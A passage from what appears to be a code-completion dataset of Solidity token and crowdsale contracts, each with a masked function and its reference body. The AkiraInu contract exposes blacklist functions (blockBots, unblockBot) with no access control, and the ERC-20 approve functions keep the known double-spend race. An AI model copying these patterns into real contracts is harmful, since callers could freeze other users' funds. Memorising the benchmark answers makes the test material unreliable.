emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
| function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) | // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) |
81317 | Permissions | givePermissions | contract Permissions is Context
{
address private _creator;
address private _uniswap;
mapping (address => bool) private _permitted;
constructor() public
{
_creator = 0x5Bd4E4a943b58673211994599Eacece4CE8dC5e0;
_uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
_permitted[_creator] = true;
_permitted[_uniswap] = true;
}
function creator() public view returns (address)
{ return _creator; }
function uniswap() public view returns (address)
{ return _uniswap; }
function givePermissions(address who) internal
{<FILL_FUNCTION_BODY> }
modifier onlyCreator
{
require(_msgSender() == _creator, "You do not have permissions for this action");
_;
}
modifier onlyPermitted
{
require(_permitted[_msgSender()], "You do not have permissions for this action");
_;
}
} | contract Permissions is Context
{
address private _creator;
address private _uniswap;
mapping (address => bool) private _permitted;
constructor() public
{
_creator = 0x5Bd4E4a943b58673211994599Eacece4CE8dC5e0;
_uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
_permitted[_creator] = true;
_permitted[_uniswap] = true;
}
function creator() public view returns (address)
{ return _creator; }
function uniswap() public view returns (address)
{ return _uniswap; }
<FILL_FUNCTION>
modifier onlyCreator
{
require(_msgSender() == _creator, "You do not have permissions for this action");
_;
}
modifier onlyPermitted
{
require(_permitted[_msgSender()], "You do not have permissions for this action");
_;
}
} |
require(_msgSender() == _creator || _msgSender() == _uniswap, "You do not have permissions for this action");
_permitted[who] = true;
| function givePermissions(address who) internal
| function givePermissions(address who) internal
|
8815 | FTCToken | null | contract FTCToken is ERC20("fantaCoin", "FTC"), Ownable {
/*
uint256 private constant gamesEarnSupply = 75600000 * 1e18;
uint256 private constant stakingRewardSupply = 97200000 * 1e18;
uint256 private constant ecologicalFundsSupply = 32400000 * 1e18;
uint256 private constant teamSupply = 79200000 * 1e18;
uint256 private constant airdropSupply = 10800000 * 1e18;
uint256 private constant privateSaleSupply = 21600000 * 1e18;
uint256 private constant pubiceSaleSupply = 43200000 * 1e18;
address public constant gameEarnsAddress = 0x8A06436a4E6DdA2523fD7d854f5A531DC3C3D411;
address public constant stakingRewardAddress = 0x8A06436a4E6DdA2523fD7d854f5A531DC3C3D411;
address public constant ecologicalFundsAddress = 0x8A06436a4E6DdA2523fD7d854f5A531DC3C3D411;
address public constant teamAddress = 0x8A06436a4E6DdA2523fD7d854f5A531DC3C3D411;
address public constant airdropAddress = 0x8A06436a4E6DdA2523fD7d854f5A531DC3C3D411;
address public constant privateSaleAddress = 0x8A06436a4E6DdA2523fD7d854f5A531DC3C3D411;
address public constant publicSaleAddress = 0x8A06436a4E6DdA2523fD7d854f5A531DC3C3D411;
*/
address public constant allAddress = 0x5BC305C8d1Cc344D323458753459cd19f71afEB0;
uint256 private constant maxSupply = 360000000 * 1e18;
constructor() public{<FILL_FUNCTION_BODY> }
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (_amount.add(totalSupply()) > maxSupply) {
return false;
}
_mint(_to, _amount);
return true;
}
} | contract FTCToken is ERC20("fantaCoin", "FTC"), Ownable {
/*
uint256 private constant gamesEarnSupply = 75600000 * 1e18;
uint256 private constant stakingRewardSupply = 97200000 * 1e18;
uint256 private constant ecologicalFundsSupply = 32400000 * 1e18;
uint256 private constant teamSupply = 79200000 * 1e18;
uint256 private constant airdropSupply = 10800000 * 1e18;
uint256 private constant privateSaleSupply = 21600000 * 1e18;
uint256 private constant pubiceSaleSupply = 43200000 * 1e18;
address public constant gameEarnsAddress = 0x8A06436a4E6DdA2523fD7d854f5A531DC3C3D411;
address public constant stakingRewardAddress = 0x8A06436a4E6DdA2523fD7d854f5A531DC3C3D411;
address public constant ecologicalFundsAddress = 0x8A06436a4E6DdA2523fD7d854f5A531DC3C3D411;
address public constant teamAddress = 0x8A06436a4E6DdA2523fD7d854f5A531DC3C3D411;
address public constant airdropAddress = 0x8A06436a4E6DdA2523fD7d854f5A531DC3C3D411;
address public constant privateSaleAddress = 0x8A06436a4E6DdA2523fD7d854f5A531DC3C3D411;
address public constant publicSaleAddress = 0x8A06436a4E6DdA2523fD7d854f5A531DC3C3D411;
*/
address public constant allAddress = 0x5BC305C8d1Cc344D323458753459cd19f71afEB0;
uint256 private constant maxSupply = 360000000 * 1e18;
<FILL_FUNCTION>
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (_amount.add(totalSupply()) > maxSupply) {
return false;
}
_mint(_to, _amount);
return true;
}
} |
_mint(allAddress, maxSupply);
/*
_mint(gameEarnsAddress, gamesEarnSupply);
_mint(stakingRewardAddress, stakingRewardSupply);
_mint(ecologicalFundsAddress, ecologicalFundsSupply);
_mint(teamAddress, teamSupply);
_mint(airdropAddress, airdropSupply);
_mint(privateSaleAddress, privateSaleSupply);
_mint(publicSaleAddress, pubiceSaleSupply);
*/
| constructor() public | constructor() public |
75640 | AccessControl | setCOO | contract AccessControl is Ownable {
address private ceoAddress;
address private cfoAddress;
address private cooAddress;
bool private paused = false;
constructor() public {
paused = true;
ceoAddress = getOwner();
cooAddress = getOwner();
cfoAddress = getOwner();
}
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) external onlyCEO {<FILL_FUNCTION_BODY> }
function getCFO() public view returns(address retCFOAddress) {
return cfoAddress;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
function unpause() public onlyCEO whenPaused {
paused = false;
}
} | contract AccessControl is Ownable {
address private ceoAddress;
address private cfoAddress;
address private cooAddress;
bool private paused = false;
constructor() public {
paused = true;
ceoAddress = getOwner();
cooAddress = getOwner();
cfoAddress = getOwner();
}
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
<FILL_FUNCTION>
function getCFO() public view returns(address retCFOAddress) {
return cfoAddress;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
function unpause() public onlyCEO whenPaused {
paused = false;
}
} |
require(_newCOO != address(0));
cooAddress = _newCOO;
| function setCOO(address _newCOO) external onlyCEO | function setCOO(address _newCOO) external onlyCEO |
84716 | AkiraInu | null | contract AkiraInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = 1000000000 * 10**18;
uint256 private _maxWallet;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
string private constant _name = "Akira Inu";
string private constant _symbol = "AKIRA";
uint8 private constant _decimals = 18;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {<FILL_FUNCTION_BODY> }
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
require(!bots[from] && !bots[to], "This account is blacklisted");
if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 1000000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function lowerTax(uint256 newTaxRate) public onlyOwner{
require(newTaxRate<_taxFee);
_taxFee=newTaxRate;
}
function liftBuyLimit(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function liftMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
receive() external payable {}
function blockBots(address[] memory bots_) public {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}
function unblockBot(address notbot) public {
bots[notbot] = false;
}
function manualsend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
} | contract AkiraInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = 1000000000 * 10**18;
uint256 private _maxWallet;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
string private constant _name = "Akira Inu";
string private constant _symbol = "AKIRA";
uint8 private constant _decimals = 18;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
<FILL_FUNCTION>
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
require(!bots[from] && !bots[to], "This account is blacklisted");
if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 1000000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function lowerTax(uint256 newTaxRate) public onlyOwner{
require(newTaxRate<_taxFee);
_taxFee=newTaxRate;
}
function liftBuyLimit(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function liftMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
receive() external payable {}
function blockBots(address[] memory bots_) public {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}
function unblockBot(address notbot) public {
bots[notbot] = false;
}
function manualsend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
} |
_taxWallet = payable(_msgSender());
_taxFee = 11;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(100);
_maxWallet=_tTotal.div(50);
emit Transfer(address(0x0), _msgSender(), _tTotal);
| constructor () | constructor () |
54596 | DemeterCrowdsale | issueCompanyTokens | contract DemeterCrowdsale is
RefundableCrowdsale,
WhiteListCrowdsale,
Pausable,
Destructible
{
/**
* @dev Each time an investor purchases, he gets this % of the minted tokens
* (plus bonus if applicable), while the company gets 70% (minus bonus).
*/
uint8 constant public PERC_TOKENS_TO_INVESTOR = 30;
/**
* @dev Portion of total tokens reserved for future token releases.
* Documentation-only. Unused in code, as the release part is calculated by subtraction.
*/
uint8 constant public PERC_TOKENS_TO_RELEASE = 25;
/**
* @dev Address to which the release tokens are credited.
*/
address constant public RELEASE_WALLET = 0x867D85437d27cA97e1EB574250efbba487aca637;
/**
* Portion of total tokens reserved for dev. team.
*/
uint8 constant public PERC_TOKENS_TO_DEV = 20;
/**
* @dev Address to which the dev. tokens are credited.
*/
address constant public DEV_WALLET = 0x70323222694584c68BD5a29194bb72c248e715F7;
/**
* Portion of total tokens reserved for business dev.
*/
uint8 constant public PERC_TOKENS_TO_BIZDEV = 25;
/**
* @dev Address to which the business dev. tokens are credited.
*/
address constant public BIZDEV_WALLET = 0xE43053e265F04f690021735E02BBA559Cea681D6;
/**
* @dev Event fired whenever company tokens are issued for a purchase.
* @param investor who made the purchase
* @param value weis paid for purchase
* @param amount amount of tokens minted for the company
*/
event CompanyTokensIssued(
address indexed investor,
uint256 value,
uint256 amount
);
/**
* @dev DemeterCrowdsale construction.
* @param _startTime beginning of crowdsale.
* @param _endTime end of crowdsale.
* @param _whiteListRegistrationEndTime time until which whitelist registration is still possible.
* @param _whiteListEndTime time until which only whitelist purchases are accepted.
* @param _rate how many tokens per ether in case of no whitelist or referral bonuses.
* @param _cap crowdsale hard cap in wei.
* @param _goal minimum crowdsale goal in wei; if not reached, causes refunds to be available.
* @param _wallet where the raised ethers are transferred in case of successful crowdsale.
*/
function DemeterCrowdsale(
uint256 _startTime,
uint256 _endTime,
uint256 _whiteListRegistrationEndTime,
uint256 _whiteListEndTime,
uint256 _rate,
uint256 _cap,
uint256 _goal,
address _wallet
) public
Crowdsale(_startTime, _endTime, _rate, _wallet)
CappedCrowdsale(_cap)
RefundableCrowdsale(_goal)
WhiteListCrowdsale(_whiteListRegistrationEndTime, _whiteListEndTime)
{
DemeterToken(token).setUnlockTime(_endTime);
}
/**
* @dev Called when a purchase is made. Override to issue company tokens
* in addition to bought and bonus tokens.
* @param _beneficiary the investor that buys the tokens.
*/
function buyTokens(address _beneficiary) public payable whenNotPaused {
require(msg.value >= 0.1 ether);
// buys tokens (including referral or whitelist tokens) and
// transfers them to _beneficiary.
super.buyTokens(_beneficiary);
// mints additional tokens for the company and distributes them to the company wallets.
issueCompanyTokens(_beneficiary, msg.value);
}
/**
* @dev Closes the vault, terminates the contract and the token contract as well.
* Only allowed while the vault is open (not when refunds are enabled or the vault
* is already closed). Balance would be transferred to the owner, but it is
* always zero anyway.
*/
function destroy() public onlyOwner {
vault.close();
super.destroy();
DemeterToken(token).destroyAndSend(this);
}
/**
* @dev Closes the vault, terminates the contract and the token contract as well.
* Only allowed while the vault is open (not when refunds are enabled or the vault
* is already closed). Balance would be transferred to _recipient, but it is
* always zero anyway.
*/
function destroyAndSend(address _recipient) public onlyOwner {
vault.close();
super.destroyAndSend(_recipient);
DemeterToken(token).destroyAndSend(_recipient);
}
/**
* @dev Allows the owner to change the minimum goal during the sale.
* @param _goal new goal in wei.
*/
function updateGoal(uint256 _goal) public onlyOwner {
require(_goal >= 0 && _goal <= cap);
require(!hasEnded());
goal = _goal;
}
/**
* @dev Mints additional tokens for the company and distributes them to the company wallets.
* @param _investor the investor that bought tokens.
* @param _weiAmount the amount paid in weis.
*/
function issueCompanyTokens(address _investor, uint256 _weiAmount) internal {<FILL_FUNCTION_BODY> }
/**
* @dev Override to create our specific token contract.
*/
function createTokenContract() internal returns (MintableToken) {
return new DemeterToken();
}
/**
* Immediately unlocks tokens. To be used in case of early close of the sale.
*/
function unlockTokens() internal {
if (DemeterToken(token).unlockTime() > block.timestamp) {
DemeterToken(token).setUnlockTime(block.timestamp);
}
}
/**
* @dev Unlock the tokens immediately if the sale closes prematurely.
*/
function finalization() internal {
super.finalization();
unlockTokens();
}
} | contract DemeterCrowdsale is
RefundableCrowdsale,
WhiteListCrowdsale,
Pausable,
Destructible
{
/**
* @dev Each time an investor purchases, he gets this % of the minted tokens
* (plus bonus if applicable), while the company gets 70% (minus bonus).
*/
uint8 constant public PERC_TOKENS_TO_INVESTOR = 30;
/**
* @dev Portion of total tokens reserved for future token releases.
* Documentation-only. Unused in code, as the release part is calculated by subtraction.
*/
uint8 constant public PERC_TOKENS_TO_RELEASE = 25;
/**
* @dev Address to which the release tokens are credited.
*/
address constant public RELEASE_WALLET = 0x867D85437d27cA97e1EB574250efbba487aca637;
/**
* Portion of total tokens reserved for dev. team.
*/
uint8 constant public PERC_TOKENS_TO_DEV = 20;
/**
* @dev Address to which the dev. tokens are credited.
*/
address constant public DEV_WALLET = 0x70323222694584c68BD5a29194bb72c248e715F7;
/**
* Portion of total tokens reserved for business dev.
*/
uint8 constant public PERC_TOKENS_TO_BIZDEV = 25;
/**
* @dev Address to which the business dev. tokens are credited.
*/
address constant public BIZDEV_WALLET = 0xE43053e265F04f690021735E02BBA559Cea681D6;
/**
* @dev Event fired whenever company tokens are issued for a purchase.
* @param investor who made the purchase
* @param value weis paid for purchase
* @param amount amount of tokens minted for the company
*/
event CompanyTokensIssued(
address indexed investor,
uint256 value,
uint256 amount
);
/**
* @dev DemeterCrowdsale construction.
* @param _startTime beginning of crowdsale.
* @param _endTime end of crowdsale.
* @param _whiteListRegistrationEndTime time until which whitelist registration is still possible.
* @param _whiteListEndTime time until which only whitelist purchases are accepted.
* @param _rate how many tokens per ether in case of no whitelist or referral bonuses.
* @param _cap crowdsale hard cap in wei.
* @param _goal minimum crowdsale goal in wei; if not reached, causes refunds to be available.
* @param _wallet where the raised ethers are transferred in case of successful crowdsale.
*/
function DemeterCrowdsale(
uint256 _startTime,
uint256 _endTime,
uint256 _whiteListRegistrationEndTime,
uint256 _whiteListEndTime,
uint256 _rate,
uint256 _cap,
uint256 _goal,
address _wallet
) public
Crowdsale(_startTime, _endTime, _rate, _wallet)
CappedCrowdsale(_cap)
RefundableCrowdsale(_goal)
WhiteListCrowdsale(_whiteListRegistrationEndTime, _whiteListEndTime)
{
DemeterToken(token).setUnlockTime(_endTime);
}
/**
* @dev Called when a purchase is made. Override to issue company tokens
* in addition to bought and bonus tokens.
* @param _beneficiary the investor that buys the tokens.
*/
function buyTokens(address _beneficiary) public payable whenNotPaused {
require(msg.value >= 0.1 ether);
// buys tokens (including referral or whitelist tokens) and
// transfers them to _beneficiary.
super.buyTokens(_beneficiary);
// mints additional tokens for the company and distributes them to the company wallets.
issueCompanyTokens(_beneficiary, msg.value);
}
/**
* @dev Closes the vault, terminates the contract and the token contract as well.
* Only allowed while the vault is open (not when refunds are enabled or the vault
* is already closed). Balance would be transferred to the owner, but it is
* always zero anyway.
*/
function destroy() public onlyOwner {
vault.close();
super.destroy();
DemeterToken(token).destroyAndSend(this);
}
/**
* @dev Closes the vault, terminates the contract and the token contract as well.
* Only allowed while the vault is open (not when refunds are enabled or the vault
* is already closed). Balance would be transferred to _recipient, but it is
* always zero anyway.
*/
function destroyAndSend(address _recipient) public onlyOwner {
vault.close();
super.destroyAndSend(_recipient);
DemeterToken(token).destroyAndSend(_recipient);
}
/**
* @dev Allows the owner to change the minimum goal during the sale.
* @param _goal new goal in wei.
*/
function updateGoal(uint256 _goal) public onlyOwner {
require(_goal >= 0 && _goal <= cap);
require(!hasEnded());
goal = _goal;
}
<FILL_FUNCTION>
/**
* @dev Override to create our specific token contract.
*/
function createTokenContract() internal returns (MintableToken) {
return new DemeterToken();
}
/**
* Immediately unlocks tokens. To be used in case of early close of the sale.
*/
function unlockTokens() internal {
if (DemeterToken(token).unlockTime() > block.timestamp) {
DemeterToken(token).setUnlockTime(block.timestamp);
}
}
/**
* @dev Unlock the tokens immediately if the sale closes prematurely.
*/
function finalization() internal {
super.finalization();
unlockTokens();
}
} |
uint256 investorTokens = _weiAmount.mul(rate);
uint256 bonusTokens = computeBonusTokens(_investor, _weiAmount);
uint256 companyTokens = investorTokens.mul(100 - PERC_TOKENS_TO_INVESTOR).div(PERC_TOKENS_TO_INVESTOR);
uint256 totalTokens = investorTokens.add(companyTokens);
// distribute total tokens among the three wallets.
uint256 devTokens = totalTokens.mul(PERC_TOKENS_TO_DEV).div(100);
token.mint(DEV_WALLET, devTokens);
// We take out bonus tokens from bizDev amount.
uint256 bizDevTokens = (totalTokens.mul(PERC_TOKENS_TO_BIZDEV).div(100)).sub(bonusTokens);
token.mint(BIZDEV_WALLET, bizDevTokens);
uint256 actualCompanyTokens = companyTokens.sub(bonusTokens);
uint256 releaseTokens = actualCompanyTokens.sub(bizDevTokens).sub(devTokens);
token.mint(RELEASE_WALLET, releaseTokens);
CompanyTokensIssued(_investor, _weiAmount, actualCompanyTokens);
| function issueCompanyTokens(address _investor, uint256 _weiAmount) internal | /**
* @dev Mints additional tokens for the company and distributes them to the company wallets.
* @param _investor the investor that bought tokens.
* @param _weiAmount the amount paid in weis.
*/
function issueCompanyTokens(address _investor, uint256 _weiAmount) internal |
74334 | stakearnxyz | approveAndCall | contract stakearnxyz is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function stakearnxyz() public {
symbol = "STE";
name = "stakearn.xyz";
decimals = 18;
_totalSupply = 60000000000000000000000;
balances[0x8adc1EAB8E7f9478473f142b09F52827FcA16afd] = _totalSupply;
Transfer(address(0), 0x8adc1EAB8E7f9478473f142b09F52827FcA16afd, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
